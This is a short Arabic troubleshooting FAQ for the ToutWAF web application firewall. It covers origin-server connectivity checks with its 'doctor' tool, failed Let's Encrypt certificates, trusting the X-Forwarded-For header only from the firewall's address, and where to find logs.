لا يصل ToutWAF إلى خادمك الأصلي. افتح طبيب ToutWAF وانظر إلى سطر «الخادم الأصلي»: يبيّن إن كان المنفذ يرفض الاتصال أو الاسم لا يُحَل أو الشهادة غير موثوقة، وما يجب فعله. وافحص أيضاً جدار حماية الخادم الأصلي.

فشل إصدار شهادة Let's Encrypt

يفحص طبيب ToutWAF نظام أسماء النطاقات (بما في ذلك سجل AAAA نُسي عند CDN أو وكيل) وإمكانية الوصول إلى المنفذ 80 قبل الطلب. وللشهادة الشاملة استخدم تحدي DNS-01.

عنوان IP الحقيقي للعميل خاطئ في تطبيقي

اقرأ الترويسة X-Forwarded-For التي يضبطها ToutWAF، ولا تثق بها إلا إذا جاءت من عنوان خادم ToutWAF.

أين السجلات؟

استخدم صفحتَي السجلات والأحداث في وحدة التحكم. وتكتب الخدمات أيضاً في سجل النظام على الجهاز، وينتج الطبيب تقريراً نصياً يمكنك إرساله إلى الدعم.

التالي: اقرأ التوثيق الكامل